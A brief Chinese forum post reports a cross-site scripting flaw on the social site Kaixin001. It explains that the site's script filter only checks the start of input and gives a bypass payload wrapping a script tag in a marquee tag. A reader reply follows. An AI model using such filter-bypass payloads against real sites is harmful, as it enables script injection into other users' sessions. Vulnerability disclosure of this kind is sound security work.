开心网一个XSS漏洞

fuchou-angle

龍影 (KIK联盟)
虽然过滤了 <script> 但只过滤不够严格 只要在开头不使用<script> 就可以执行
下边是漏洞地址以及测试代码

<marquee><script>alert('XSS')</script></marquee>

九十八分

我是小菜，看不明白，努力学习中。